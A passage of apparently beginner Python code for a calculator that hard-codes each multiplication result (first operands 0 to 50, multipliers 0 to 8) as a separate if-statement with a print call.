print("27 * 0 = 0") if firstNum == 28 and sign == "*" and secondNum == 0 : print("28 * 0 = 0") if firstNum == 29 and sign == "*" and secondNum == 0 : print("29 * 0 = 0") if firstNum == 30 and sign == "*" and secondNum == 0 : print("30 * 0 = 0") if firstNum == 31 and sign == "*" and secondNum == 0 : print("31 * 0 = 0") if firstNum == 32 and sign == "*" and secondNum == 0 : print("32 * 0 = 0") if firstNum == 33 and sign == "*" and secondNum == 0 : print("33 * 0 = 0") if firstNum == 34 and sign == "*" and secondNum == 0 : print("34 * 0 = 0") if firstNum == 35 and sign == "*" and secondNum == 0 : print("35 * 0 = 0") if firstNum == 36 and sign == "*" and secondNum == 0 : print("36 * 0 = 0") if firstNum == 37 and sign == "*" and secondNum == 0 : print("37 * 0 = 0") if firstNum == 38 and sign == "*" and secondNum == 0 : print("38 * 0 = 0") if firstNum == 39 and sign == "*" and secondNum == 0 : print("39 * 0 = 0") if firstNum == 40 and sign == "*" and secondNum == 0 : print("40 * 0 = 0") if firstNum == 41 and sign == "*" and secondNum == 0 : print("41 * 0 = 0") if firstNum == 42 and sign == "*" and secondNum == 0 : print("42 * 0 = 0") if firstNum == 43 and sign == "*" and secondNum == 0 : print("43 * 0 = 0") if firstNum == 44 and sign == "*" and secondNum == 0 : print("44 * 0 = 0") if firstNum == 45 and sign == "*" and secondNum == 0 : print("45 * 0 = 0") if firstNum == 46 and sign == "*" and secondNum == 0 : print("46 * 0 = 0") if firstNum == 47 and sign == "*" and secondNum == 0 : print("47 * 0 = 0") if firstNum == 48 and sign == "*" and secondNum == 0 : print("48 * 0 = 0") if firstNum == 49 and sign == "*" and secondNum == 0 : print("49 * 0 = 0") if firstNum == 50 and sign == "*" and secondNum == 0 : print("50 * 0 = 0") if firstNum == 0 and sign == "*" and secondNum == 1 : print("0 * 1 = 0") if firstNum == 1 and sign == "*" and secondNum == 1 : print("1 * 1 = 1") if firstNum == 2 and sign == "*" and secondNum == 1 : print("2 * 1 = 2") if firstNum == 3 and sign == "*" and secondNum == 1 : print("3 * 1 = 3") if firstNum == 4 and sign == "*" and secondNum == 1 : print("4 * 1 = 4") if firstNum == 5 and sign == "*" and secondNum == 1 : print("5 * 1 = 5") if firstNum == 6 and sign == "*" and secondNum == 1 : print("6 * 1 = 6") if firstNum == 7 and sign == "*" and secondNum == 1 : print("7 * 1 = 7") if firstNum == 8 and sign == "*" and secondNum == 1 : print("8 * 1 = 8") if firstNum == 9 and sign == "*" and secondNum == 1 : print("9 * 1 = 9") if firstNum == 10 and sign == "*" and secondNum == 1 : print("10 * 1 = 10") if firstNum == 11 and sign == "*" and secondNum == 1 : print("11 * 1 = 11") if firstNum == 12 and sign == "*" and secondNum == 1 : print("12 * 1 = 12") if firstNum == 13 and sign == "*" and secondNum == 1 : print("13 * 1 = 13") if firstNum == 14 and sign == "*" and secondNum == 1 : print("14 * 1 = 14") if firstNum == 15 and sign == "*" and secondNum == 1 : print("15 * 1 = 15") if firstNum == 16 and sign == "*" and secondNum == 1 : print("16 * 1 = 16") if firstNum == 17 and sign == "*" and secondNum == 1 : print("17 * 1 = 17") if firstNum == 18 and sign == "*" and secondNum == 1 : print("18 * 1 = 18") if firstNum == 19 and sign == "*" and secondNum == 1 : print("19 * 1 = 19") if firstNum == 20 and sign == "*" and secondNum == 1 : print("20 * 1 = 20") if firstNum == 21 and sign == "*" and secondNum == 1 : print("21 * 1 = 21") if firstNum == 22 and sign == "*" and secondNum == 1 : print("22 * 1 = 22") if firstNum == 23 and sign == "*" and secondNum == 1 : print("23 * 1 = 23") if firstNum == 24 and sign == "*" and secondNum == 1 : print("24 * 1 = 24") if firstNum == 25 and sign == "*" and secondNum == 1 : print("25 * 1 = 25") if firstNum == 26 and sign == "*" and secondNum == 1 : print("26 * 1 = 26") if firstNum == 27 and sign == "*" and secondNum == 1 : print("27 * 1 = 27") if firstNum == 28 and sign == "*" and secondNum == 1 : print("28 * 1 = 28") if firstNum == 29 and sign == "*" and secondNum == 1 : print("29 * 1 = 29") if firstNum == 30 and sign == "*" and secondNum == 1 : print("30 * 1 = 30") if firstNum == 31 and sign == "*" and secondNum == 1 : print("31 * 1 = 31") if firstNum == 32 and sign == "*" and secondNum == 1 : print("32 * 1 = 32") if firstNum == 33 and sign == "*" and secondNum == 1 : print("33 * 1 = 33") if firstNum == 34 and sign == "*" and secondNum == 1 : print("34 * 1 = 34") if firstNum == 35 and sign == "*" and secondNum == 1 : print("35 * 1 = 35") if firstNum == 36 and sign == "*" and secondNum == 1 : print("36 * 1 = 36") if firstNum == 37 and sign == "*" and secondNum == 1 : print("37 * 1 = 37") if firstNum == 38 and sign == "*" and secondNum == 1 : print("38 * 1 = 38") if firstNum == 39 and sign == "*" and secondNum == 1 : print("39 * 1 = 39") if firstNum == 40 and sign == "*" and secondNum == 1 : print("40 * 1 = 40") if firstNum == 41 and sign == "*" and secondNum == 1 : print("41 * 1 = 41") if firstNum == 42 and sign == "*" and secondNum == 1 : print("42 * 1 = 42") if firstNum == 43 and sign == "*" and secondNum == 1 : print("43 * 1 = 43") if firstNum == 44 and sign == "*" and secondNum == 1 : print("44 * 1 = 44") if firstNum == 45 and sign == "*" and secondNum == 1 : print("45 * 1 = 45") if firstNum == 46 and sign == "*" and secondNum == 1 : print("46 * 1 = 46") if firstNum == 47 and sign == "*" and secondNum == 1 : print("47 * 1 = 47") if firstNum == 48 and sign == "*" and secondNum == 1 : print("48 * 1 = 48") if firstNum == 49 and sign == "*" and secondNum == 1 : print("49 * 1 = 49") if firstNum == 50 and sign == "*" and secondNum == 1 : print("50 * 1 = 50") if firstNum == 0 and sign == "*" and secondNum == 2 : print("0 * 2 = 0") if firstNum == 1 and sign == "*" and secondNum == 2 : print("1 * 2 = 2") if firstNum == 2 and sign == "*" and secondNum == 2 : print("2 * 2 = 4") if firstNum == 3 and sign == "*" and secondNum == 2 : print("3 * 2 = 6") if firstNum == 4 and sign == "*" and secondNum == 2 : print("4 * 2 = 8") if firstNum == 5 and sign == "*" and secondNum == 2 : print("5 * 2 = 10") if firstNum == 6 and sign == "*" and secondNum == 2 : print("6 * 2 = 12") if firstNum == 7 and sign == "*" and secondNum == 2 : print("7 * 2 = 14") if firstNum == 8 and sign == "*" and secondNum == 2 : print("8 * 2 = 16") if firstNum == 9 and sign == "*" and secondNum == 2 : print("9 * 2 = 18") if firstNum == 10 and sign == "*" and secondNum == 2 : print("10 * 2 = 20") if firstNum == 11 and sign == "*" and secondNum == 2 : print("11 * 2 = 22") if firstNum == 12 and sign == "*" and secondNum == 2 : print("12 * 2 = 24") if firstNum == 13 and sign == "*" and secondNum == 2 : print("13 * 2 = 26") if firstNum == 14 and sign == "*" and secondNum == 2 : print("14 * 2 = 28") if firstNum == 15 and sign == "*" and secondNum == 2 : print("15 * 2 = 30") if firstNum == 16 and sign == "*" and secondNum == 2 : print("16 * 2 = 32") if firstNum == 17 and sign == "*" and secondNum == 2 : print("17 * 2 = 34") if firstNum == 18 and sign == "*" and secondNum == 2 : print("18 * 2 = 36") if firstNum == 19 and sign == "*" and secondNum == 2 : print("19 * 2 = 38") if firstNum == 20 and sign == "*" and secondNum == 2 : print("20 * 2 = 40") if firstNum == 21 and sign == "*" and secondNum == 2 : print("21 * 2 = 42") if firstNum == 22 and sign == "*" and secondNum == 2 : print("22 * 2 = 44") if firstNum == 23 and sign == "*" and secondNum == 2 : print("23 * 2 = 46") if firstNum == 24 and sign == "*" and secondNum == 2 : print("24 * 2 = 48") if firstNum == 25 and sign == "*" and secondNum == 2 : print("25 * 2 = 50") if firstNum == 26 and sign == "*" and secondNum == 2 : print("26 * 2 = 52") if firstNum == 27 and sign == "*" and secondNum == 2 : print("27 * 2 = 54") if firstNum == 28 and sign == "*" and secondNum == 2 : print("28 * 2 = 56") if firstNum == 29 and sign == "*" and secondNum == 2 : print("29 * 2 = 58") if firstNum == 30 and sign == "*" and secondNum == 2 : print("30 * 2 = 60") if firstNum == 31 and sign == "*" and secondNum == 2 : print("31 * 2 = 62") if firstNum == 32 and sign == "*" and secondNum == 2 : print("32 * 2 = 64") if firstNum == 33 and sign == "*" and secondNum == 2 : print("33 * 2 = 66") if firstNum == 34 and sign == "*" and secondNum == 2 : print("34 * 2 = 68") if firstNum == 35 and sign == "*" and secondNum == 2 : print("35 * 2 = 70") if firstNum == 36 and sign == "*" and secondNum == 2 : print("36 * 2 = 72") if firstNum == 37 and sign == "*" and secondNum == 2 : print("37 * 2 = 74") if firstNum == 38 and sign == "*" and secondNum == 2 : print("38 * 2 = 76") if firstNum == 39 and sign == "*" and secondNum == 2 : print("39 * 2 = 78") if firstNum == 40 and sign == "*" and secondNum == 2 : print("40 * 2 = 80") if firstNum == 41 and sign == "*" and secondNum == 2 : print("41 * 2 = 82") if firstNum == 42 and sign == "*" and secondNum == 2 : print("42 * 2 = 84") if firstNum == 43 and sign == "*" and secondNum == 2 : print("43 * 2 = 86") if firstNum == 44 and sign == "*" and secondNum == 2 : print("44 * 2 = 88") if firstNum == 45 and sign == "*" and secondNum == 2 : print("45 * 2 = 90") if firstNum == 46 and sign == "*" and secondNum == 2 : print("46 * 2 = 92") if firstNum == 47 and sign == "*" and secondNum == 2 : print("47 * 2 = 94") if firstNum == 48 and sign == "*" and secondNum == 2 : print("48 * 2 = 96") if firstNum == 49 and sign == "*" and secondNum == 2 : print("49 * 2 = 98") if firstNum == 50 and sign == "*" and secondNum == 2 : print("50 * 2 = 100") if firstNum == 0 and sign == "*" and secondNum == 3 : print("0 * 3 = 0") if firstNum == 1 and sign == "*" and secondNum == 3 : print("1 * 3 = 3") if firstNum == 2 and sign == "*" and secondNum == 3 : print("2 * 3 = 6") if firstNum == 3 and sign == "*" and secondNum == 3 : print("3 * 3 = 9") if firstNum == 4 and sign == "*" and secondNum == 3 : print("4 * 3 = 12") if firstNum == 5 and sign == "*" and secondNum == 3 : print("5 * 3 = 15") if firstNum == 6 and sign == "*" and secondNum == 3 : print("6 * 3 = 18") if firstNum == 7 and sign == "*" and secondNum == 3 : print("7 * 3 = 21") if firstNum == 8 and sign == "*" and secondNum == 3 : print("8 * 3 = 24") if firstNum == 9 and sign == "*" and secondNum == 3 : print("9 * 3 = 27") if firstNum == 10 and sign == "*" and secondNum == 3 : print("10 * 3 = 30") if firstNum == 11 and sign == "*" and secondNum == 3 : print("11 * 3 = 33") if firstNum == 12 and sign == "*" and secondNum == 3 : print("12 * 3 = 36") if firstNum == 13 and sign == "*" and secondNum == 3 : print("13 * 3 = 39") if firstNum == 14 and sign == "*" and secondNum == 3 : print("14 * 3 = 42") if firstNum == 15 and sign == "*" and secondNum == 3 : print("15 * 3 = 45") if firstNum == 16 and sign == "*" and secondNum == 3 : print("16 * 3 = 48") if firstNum == 17 and sign == "*" and secondNum == 3 : print("17 * 3 = 51") if firstNum == 18 and sign == "*" and secondNum == 3 : print("18 * 3 = 54") if firstNum == 19 and sign == "*" and secondNum == 3 : print("19 * 3 = 57") if firstNum == 20 and sign == "*" and secondNum == 3 : print("20 * 3 = 60") if firstNum == 21 and sign == "*" and secondNum == 3 : print("21 * 3 = 63") if firstNum == 22 and sign == "*" and secondNum == 3 : print("22 * 3 = 66") if firstNum == 23 and sign == "*" and secondNum == 3 : print("23 * 3 = 69") if firstNum == 24 and sign == "*" and secondNum == 3 : print("24 * 3 = 72") if firstNum == 25 and sign == "*" and secondNum == 3 : print("25 * 3 = 75") if firstNum == 26 and sign == "*" and secondNum == 3 : print("26 * 3 = 78") if firstNum == 27 and sign == "*" and secondNum == 3 : print("27 * 3 = 81") if firstNum == 28 and sign == "*" and secondNum == 3 : print("28 * 3 = 84") if firstNum == 29 and sign == "*" and secondNum == 3 : print("29 * 3 = 87") if firstNum == 30 and sign == "*" and secondNum == 3 : print("30 * 3 = 90") if firstNum == 31 and sign == "*" and secondNum == 3 : print("31 * 3 = 93") if firstNum == 32 and sign == "*" and secondNum == 3 : print("32 * 3 = 96") if firstNum == 33 and sign == "*" and secondNum == 3 : print("33 * 3 = 99") if firstNum == 34 and sign == "*" and secondNum == 3 : print("34 * 3 = 102") if firstNum == 35 and sign == "*" and secondNum == 3 : print("35 * 3 = 105") if firstNum == 36 and sign == "*" and secondNum == 3 : print("36 * 3 = 108") if firstNum == 37 and sign == "*" and secondNum == 3 : print("37 * 3 = 111") if firstNum == 38 and sign == "*" and secondNum == 3 : print("38 * 3 = 114") if firstNum == 39 and sign == "*" and secondNum == 3 : print("39 * 3 = 117") if firstNum == 40 and sign == "*" and secondNum == 3 : print("40 * 3 = 120") if firstNum == 41 and sign == "*" and secondNum == 3 : print("41 * 3 = 123") if firstNum == 42 and sign == "*" and secondNum == 3 : print("42 * 3 = 126") if firstNum == 43 and sign == "*" and secondNum == 3 : print("43 * 3 = 129") if firstNum == 44 and sign == "*" and secondNum == 3 : print("44 * 3 = 132") if firstNum == 45 and sign == "*" and secondNum == 3 : print("45 * 3 = 135") if firstNum == 46 and sign == "*" and secondNum == 3 : print("46 * 3 = 138") if firstNum == 47 and sign == "*" and secondNum == 3 : print("47 * 3 = 141") if firstNum == 48 and sign == "*" and secondNum == 3 : print("48 * 3 = 144") if firstNum == 49 and sign == "*" and secondNum == 3 : print("49 * 3 = 147") if firstNum == 50 and sign == "*" and secondNum == 3 : print("50 * 3 = 150") if firstNum == 0 and sign == "*" and secondNum == 4 : print("0 * 4 = 0") if firstNum == 1 and sign == "*" and secondNum == 4 : print("1 * 4 = 4") if firstNum == 2 and sign == "*" and secondNum == 4 : print("2 * 4 = 8") if firstNum == 3 and sign == "*" and secondNum == 4 : print("3 * 4 = 12") if firstNum == 4 and sign == "*" and secondNum == 4 : print("4 * 4 = 16") if firstNum == 5 and sign == "*" and secondNum == 4 : print("5 * 4 = 20") if firstNum == 6 and sign == "*" and secondNum == 4 : print("6 * 4 = 24") if firstNum == 7 and sign == "*" and secondNum == 4 : print("7 * 4 = 28") if firstNum == 8 and sign == "*" and secondNum == 4 : print("8 * 4 = 32") if firstNum == 9 and sign == "*" and secondNum == 4 : print("9 * 4 = 36") if firstNum == 10 and sign == "*" and secondNum == 4 : print("10 * 4 = 40") if firstNum == 11 and sign == "*" and secondNum == 4 : print("11 * 4 = 44") if firstNum == 12 and sign == "*" and secondNum == 4 : print("12 * 4 = 48") if firstNum == 13 and sign == "*" and secondNum == 4 : print("13 * 4 = 52") if firstNum == 14 and sign == "*" and secondNum == 4 : print("14 * 4 = 56") if firstNum == 15 and sign == "*" and secondNum == 4 : print("15 * 4 = 60") if firstNum == 16 and sign == "*" and secondNum == 4 : print("16 * 4 = 64") if firstNum == 17 and sign == "*" and secondNum == 4 : print("17 * 4 = 68") if firstNum == 18 and sign == "*" and secondNum == 4 : print("18 * 4 = 72") if firstNum == 19 and sign == "*" and secondNum == 4 : print("19 * 4 = 76") if firstNum == 20 and sign == "*" and secondNum == 4 : print("20 * 4 = 80") if firstNum == 21 and sign == "*" and secondNum == 4 : print("21 * 4 = 84") if firstNum == 22 and sign == "*" and secondNum == 4 : print("22 * 4 = 88") if firstNum == 23 and sign == "*" and secondNum == 4 : print("23 * 4 = 92") if firstNum == 24 and sign == "*" and secondNum == 4 : print("24 * 4 = 96") if firstNum == 25 and sign == "*" and secondNum == 4 : print("25 * 4 = 100") if firstNum == 26 and sign == "*" and secondNum == 4 : print("26 * 4 = 104") if firstNum == 27 and sign == "*" and secondNum == 4 : print("27 * 4 = 108") if firstNum == 28 and sign == "*" and secondNum == 4 : print("28 * 4 = 112") if firstNum == 29 and sign == "*" and secondNum == 4 : print("29 * 4 = 116") if firstNum == 30 and sign == "*" and secondNum == 4 : print("30 * 4 = 120") if firstNum == 31 and sign == "*" and secondNum == 4 : print("31 * 4 = 124") if firstNum == 32 and sign == "*" and secondNum == 4 : print("32 * 4 = 128") if firstNum == 33 and sign == "*" and secondNum == 4 : print("33 * 4 = 132") if firstNum == 34 and sign == "*" and secondNum == 4 : print("34 * 4 = 136") if firstNum == 35 and sign == "*" and secondNum == 4 : print("35 * 4 = 140") if firstNum == 36 and sign == "*" and secondNum == 4 : print("36 * 4 = 144") if firstNum == 37 and sign == "*" and secondNum == 4 : print("37 * 4 = 148") if firstNum == 38 and sign == "*" and secondNum == 4 : print("38 * 4 = 152") if firstNum == 39 and sign == "*" and secondNum == 4 : print("39 * 4 = 156") if firstNum == 40 and sign == "*" and secondNum == 4 : print("40 * 4 = 160") if firstNum == 41 and sign == "*" and secondNum == 4 : print("41 * 4 = 164") if firstNum == 42 and sign == "*" and secondNum == 4 : print("42 * 4 = 168") if firstNum == 43 and sign == "*" and secondNum == 4 : print("43 * 4 = 172") if firstNum == 44 and sign == "*" and secondNum == 4 : print("44 * 4 = 176") if firstNum == 45 and sign == "*" and secondNum == 4 : print("45 * 4 = 180") if firstNum == 46 and sign == "*" and secondNum == 4 : print("46 * 4 = 184") if firstNum == 47 and sign == "*" and secondNum == 4 : print("47 * 4 = 188") if firstNum == 48 and sign == "*" and secondNum == 4 : print("48 * 4 = 192") if firstNum == 49 and sign == "*" and secondNum == 4 : print("49 * 4 = 196") if firstNum == 50 and sign == "*" and secondNum == 4 : print("50 * 4 = 200") if firstNum == 0 and sign == "*" and secondNum == 5 : print("0 * 5 = 0") if firstNum == 1 and sign == "*" and secondNum == 5 : print("1 * 5 = 5") if firstNum == 2 and sign == "*" and secondNum == 5 : print("2 * 5 = 10") if firstNum == 3 and sign == "*" and secondNum == 5 : print("3 * 5 = 15") if firstNum == 4 and sign == "*" and secondNum == 5 : print("4 * 5 = 20") if firstNum == 5 and sign == "*" and secondNum == 5 : print("5 * 5 = 25") if firstNum == 6 and sign == "*" and secondNum == 5 : print("6 * 5 = 30") if firstNum == 7 and sign == "*" and secondNum == 5 : print("7 * 5 = 35") if firstNum == 8 and sign == "*" and secondNum == 5 : print("8 * 5 = 40") if firstNum == 9 and sign == "*" and secondNum == 5 : print("9 * 5 = 45") if firstNum == 10 and sign == "*" and secondNum == 5 : print("10 * 5 = 50") if firstNum == 11 and sign == "*" and secondNum == 5 : print("11 * 5 = 55") if firstNum == 12 and sign == "*" and secondNum == 5 : print("12 * 5 = 60") if firstNum == 13 and sign == "*" and secondNum == 5 : print("13 * 5 = 65") if firstNum == 14 and sign == "*" and secondNum == 5 : print("14 * 5 = 70") if firstNum == 15 and sign == "*" and secondNum == 5 : print("15 * 5 = 75") if firstNum == 16 and sign == "*" and secondNum == 5 : print("16 * 5 = 80") if firstNum == 17 and sign == "*" and secondNum == 5 : print("17 * 5 = 85") if firstNum == 18 and sign == "*" and secondNum == 5 : print("18 * 5 = 90") if firstNum == 19 and sign == "*" and secondNum == 5 : print("19 * 5 = 95") if firstNum == 20 and sign == "*" and secondNum == 5 : print("20 * 5 = 100") if firstNum == 21 and sign == "*" and secondNum == 5 : print("21 * 5 = 105") if firstNum == 22 and sign == "*" and secondNum == 5 : print("22 * 5 = 110") if firstNum == 23 and sign == "*" and secondNum == 5 : print("23 * 5 = 115") if firstNum == 24 and sign == "*" and secondNum == 5 : print("24 * 5 = 120") if firstNum == 25 and sign == "*" and secondNum == 5 : print("25 * 5 = 125") if firstNum == 26 and sign == "*" and secondNum == 5 : print("26 * 5 = 130") if firstNum == 27 and sign == "*" and secondNum == 5 : print("27 * 5 = 135") if firstNum == 28 and sign == "*" and secondNum == 5 : print("28 * 5 = 140") if firstNum == 29 and sign == "*" and secondNum == 5 : print("29 * 5 = 145") if firstNum == 30 and sign == "*" and secondNum == 5 : print("30 * 5 = 150") if firstNum == 31 and sign == "*" and secondNum == 5 : print("31 * 5 = 155") if firstNum == 32 and sign == "*" and secondNum == 5 : print("32 * 5 = 160") if firstNum == 33 and sign == "*" and secondNum == 5 : print("33 * 5 = 165") if firstNum == 34 and sign == "*" and secondNum == 5 : print("34 * 5 = 170") if firstNum == 35 and sign == "*" and secondNum == 5 : print("35 * 5 = 175") if firstNum == 36 and sign == "*" and secondNum == 5 : print("36 * 5 = 180") if firstNum == 37 and sign == "*" and secondNum == 5 : print("37 * 5 = 185") if firstNum == 38 and sign == "*" and secondNum == 5 : print("38 * 5 = 190") if firstNum == 39 and sign == "*" and secondNum == 5 : print("39 * 5 = 195") if firstNum == 40 and sign == "*" and secondNum == 5 : print("40 * 5 = 200") if firstNum == 41 and sign == "*" and secondNum == 5 : print("41 * 5 = 205") if firstNum == 42 and sign == "*" and secondNum == 5 : print("42 * 5 = 210") if firstNum == 43 and sign == "*" and secondNum == 5 : print("43 * 5 = 215") if firstNum == 44 and sign == "*" and secondNum == 5 : print("44 * 5 = 220") if firstNum == 45 and sign == "*" and secondNum == 5 : print("45 * 5 = 225") if firstNum == 46 and sign == "*" and secondNum == 5 : print("46 * 5 = 230") if firstNum == 47 and sign == "*" and secondNum == 5 : print("47 * 5 = 235") if firstNum == 48 and sign == "*" and secondNum == 5 : print("48 * 5 = 240") if firstNum == 49 and sign == "*" and secondNum == 5 : print("49 * 5 = 245") if firstNum == 50 and sign == "*" and secondNum == 5 : print("50 * 5 = 250") if firstNum == 0 and sign == "*" and secondNum == 6 : print("0 * 6 = 0") if firstNum == 1 and sign == "*" and secondNum == 6 : print("1 * 6 = 6") if firstNum == 2 and sign == "*" and secondNum == 6 : print("2 * 6 = 12") if firstNum == 3 and sign == "*" and secondNum == 6 : print("3 * 6 = 18") if firstNum == 4 and sign == "*" and secondNum == 6 : print("4 * 6 = 24") if firstNum == 5 and sign == "*" and secondNum == 6 : print("5 * 6 = 30") if firstNum == 6 and sign == "*" and secondNum == 6 : print("6 * 6 = 36") if firstNum == 7 and sign == "*" and secondNum == 6 : print("7 * 6 = 42") if firstNum == 8 and sign == "*" and secondNum == 6 : print("8 * 6 = 48") if firstNum == 9 and sign == "*" and secondNum == 6 : print("9 * 6 = 54") if firstNum == 10 and sign == "*" and secondNum == 6 : print("10 * 6 = 60") if firstNum == 11 and sign == "*" and secondNum == 6 : print("11 * 6 = 66") if firstNum == 12 and sign == "*" and secondNum == 6 : print("12 * 6 = 72") if firstNum == 13 and sign == "*" and secondNum == 6 : print("13 * 6 = 78") if firstNum == 14 and sign == "*" and secondNum == 6 : print("14 * 6 = 84") if firstNum == 15 and sign == "*" and secondNum == 6 : print("15 * 6 = 90") if firstNum == 16 and sign == "*" and secondNum == 6 : print("16 * 6 = 96") if firstNum == 17 and sign == "*" and secondNum == 6 : print("17 * 6 = 102") if firstNum == 18 and sign == "*" and secondNum == 6 : print("18 * 6 = 108") if firstNum == 19 and sign == "*" and secondNum == 6 : print("19 * 6 = 114") if firstNum == 20 and sign == "*" and secondNum == 6 : print("20 * 6 = 120") if firstNum == 21 and sign == "*" and secondNum == 6 : print("21 * 6 = 126") if firstNum == 22 and sign == "*" and secondNum == 6 : print("22 * 6 = 132") if firstNum == 23 and sign == "*" and secondNum == 6 : print("23 * 6 = 138") if firstNum == 24 and sign == "*" and secondNum == 6 : print("24 * 6 = 144") if firstNum == 25 and sign == "*" and secondNum == 6 : print("25 * 6 = 150") if firstNum == 26 and sign == "*" and secondNum == 6 : print("26 * 6 = 156") if firstNum == 27 and sign == "*" and secondNum == 6 : print("27 * 6 = 162") if firstNum == 28 and sign == "*" and secondNum == 6 : print("28 * 6 = 168") if firstNum == 29 and sign == "*" and secondNum == 6 : print("29 * 6 = 174") if firstNum == 30 and sign == "*" and secondNum == 6 : print("30 * 6 = 180") if firstNum == 31 and sign == "*" and secondNum == 6 : print("31 * 6 = 186") if firstNum == 32 and sign == "*" and secondNum == 6 : print("32 * 6 = 192") if firstNum == 33 and sign == "*" and secondNum == 6 : print("33 * 6 = 198") if firstNum == 34 and sign == "*" and secondNum == 6 : print("34 * 6 = 204") if firstNum == 35 and sign == "*" and secondNum == 6 : print("35 * 6 = 210") if firstNum == 36 and sign == "*" and secondNum == 6 : print("36 * 6 = 216") if firstNum == 37 and sign == "*" and secondNum == 6 : print("37 * 6 = 222") if firstNum == 38 and sign == "*" and secondNum == 6 : print("38 * 6 = 228") if firstNum == 39 and sign == "*" and secondNum == 6 : print("39 * 6 = 234") if firstNum == 40 and sign == "*" and secondNum == 6 : print("40 * 6 = 240") if firstNum == 41 and sign == "*" and secondNum == 6 : print("41 * 6 = 246") if firstNum == 42 and sign == "*" and secondNum == 6 : print("42 * 6 = 252") if firstNum == 43 and sign == "*" and secondNum == 6 : print("43 * 6 = 258") if firstNum == 44 and sign == "*" and secondNum == 6 : print("44 * 6 = 264") if firstNum == 45 and sign == "*" and secondNum == 6 : print("45 * 6 = 270") if firstNum == 46 and sign == "*" and secondNum == 6 : print("46 * 6 = 276") if firstNum == 47 and sign == "*" and secondNum == 6 : print("47 * 6 = 282") if firstNum == 48 and sign == "*" and secondNum == 6 : print("48 * 6 = 288") if firstNum == 49 and sign == "*" and secondNum == 6 : print("49 * 6 = 294") if firstNum == 50 and sign == "*" and secondNum == 6 : print("50 * 6 = 300") if firstNum == 0 and sign == "*" and secondNum == 7 : print("0 * 7 = 0") if firstNum == 1 and sign == "*" and secondNum == 7 : print("1 * 7 = 7") if firstNum == 2 and sign == "*" and secondNum == 7 : print("2 * 7 = 14") if firstNum == 3 and sign == "*" and secondNum == 7 : print("3 * 7 = 21") if firstNum == 4 and sign == "*" and secondNum == 7 : print("4 * 7 = 28") if firstNum == 5 and sign == "*" and secondNum == 7 : print("5 * 7 = 35") if firstNum == 6 and sign == "*" and secondNum == 7 : print("6 * 7 = 42") if firstNum == 7 and sign == "*" and secondNum == 7 : print("7 * 7 = 49") if firstNum == 8 and sign == "*" and secondNum == 7 : print("8 * 7 = 56") if firstNum == 9 and sign == "*" and secondNum == 7 : print("9 * 7 = 63") if firstNum == 10 and sign == "*" and secondNum == 7 : print("10 * 7 = 70") if firstNum == 11 and sign == "*" and secondNum == 7 : print("11 * 7 = 77") if firstNum == 12 and sign == "*" and secondNum == 7 : print("12 * 7 = 84") if firstNum == 13 and sign == "*" and secondNum == 7 : print("13 * 7 = 91") if firstNum == 14 and sign == "*" and secondNum == 7 : print("14 * 7 = 98") if firstNum == 15 and sign == "*" and secondNum == 7 : print("15 * 7 = 105") if firstNum == 16 and sign == "*" and secondNum == 7 : print("16 * 7 = 112") if firstNum == 17 and sign == "*" and secondNum == 7 : print("17 * 7 = 119") if firstNum == 18 and sign == "*" and secondNum == 7 : print("18 * 7 = 126") if firstNum == 19 and sign == "*" and secondNum == 7 : print("19 * 7 = 133") if firstNum == 20 and sign == "*" and secondNum == 7 : print("20 * 7 = 140") if firstNum == 21 and sign == "*" and secondNum == 7 : print("21 * 7 = 147") if firstNum == 22 and sign == "*" and secondNum == 7 : print("22 * 7 = 154") if firstNum == 23 and sign == "*" and secondNum == 7 : print("23 * 7 = 161") if firstNum == 24 and sign == "*" and secondNum == 7 : print("24 * 7 = 168") if firstNum == 25 and sign == "*" and secondNum == 7 : print("25 * 7 = 175") if firstNum == 26 and sign == "*" and secondNum == 7 : print("26 * 7 = 182") if firstNum == 27 and sign == "*" and secondNum == 7 : print("27 * 7 = 189") if firstNum == 28 and sign == "*" and secondNum == 7 : print("28 * 7 = 196") if firstNum == 29 and sign == "*" and secondNum == 7 : print("29 * 7 = 203") if firstNum == 30 and sign == "*" and secondNum == 7 : print("30 * 7 = 210") if firstNum == 31 and sign == "*" and secondNum == 7 : print("31 * 7 = 217") if firstNum == 32 and sign == "*" and secondNum == 7 : print("32 * 7 = 224") if firstNum == 33 and sign == "*" and secondNum == 7 : print("33 * 7 = 231") if firstNum == 34 and sign == "*" and secondNum == 7 : print("34 * 7 = 238") if firstNum == 35 and sign == "*" and secondNum == 7 : print("35 * 7 = 245") if firstNum == 36 and sign == "*" and secondNum == 7 : print("36 * 7 = 252") if firstNum == 37 and sign == "*" and secondNum == 7 : print("37 * 7 = 259") if firstNum == 38 and sign == "*" and secondNum == 7 : print("38 * 7 = 266") if firstNum == 39 and sign == "*" and secondNum == 7 : print("39 * 7 = 273") if firstNum == 40 and sign == "*" and secondNum == 7 : print("40 * 7 = 280") if firstNum == 41 and sign == "*" and secondNum == 7 : print("41 * 7 = 287") if firstNum == 42 and sign == "*" and secondNum == 7 : print("42 * 7 = 294") if firstNum == 43 and sign == "*" and secondNum == 7 : print("43 * 7 = 301") if firstNum == 44 and sign == "*" and secondNum == 7 : print("44 * 7 = 308") if firstNum == 45 and sign == "*" and secondNum == 7 : print("45 * 7 = 315") if firstNum == 46 and sign == "*" and secondNum == 7 : print("46 * 7 = 322") if firstNum == 47 and sign == "*" and secondNum == 7 : print("47 * 7 = 329") if firstNum == 48 and sign == "*" and secondNum == 7 : print("48 * 7 = 336") if firstNum == 49 and sign == "*" and secondNum == 7 : print("49 * 7 = 343") if firstNum == 50 and sign == "*" and secondNum == 7 : print("50 * 7 = 350") if firstNum == 0 and sign == "*" and secondNum == 8 : print("0 * 8 = 0") if firstNum == 1 and sign == "*" and secondNum == 8 : print("1 * 8 = 8") if firstNum == 2 and sign == "*" and secondNum == 8 : print("2 * 8 = 16") if firstNum == 3 and sign == "*" and secondNum == 8 : print("3 * 8 = 24") if firstNum == 4 and sign == "*" and secondNum == 8 : print("4 * 8 = 32") if firstNum == 5 and sign == "*" and secondNum == 8 : print("5 * 8 = 40") if firstNum == 6 and sign == "*" and secondNum == 8 : print("6 * 8 = 48") if firstNum == 7 and sign == "*" and secondNum == 8 : print("7 * 8 = 56") if firstNum == 8 and sign == "*" and secondNum == 8 : print("8 * 8 = 64") if firstNum == 9 and sign == "*" and secondNum == 8 : print("9 * 8 = 72") if firstNum == 10 and sign == "*" and secondNum == 8 : print("10 * 8 = 80") if firstNum == 11 and sign == "*" and secondNum == 8 : print("11 * 8 = 88") if firstNum == 12 and sign == "*" and secondNum == 8 : print("12 * 8 = 96") if firstNum == 13 and sign == "*" and secondNum == 8 : print("13 * 8 = 104") if firstNum == 14 and sign == 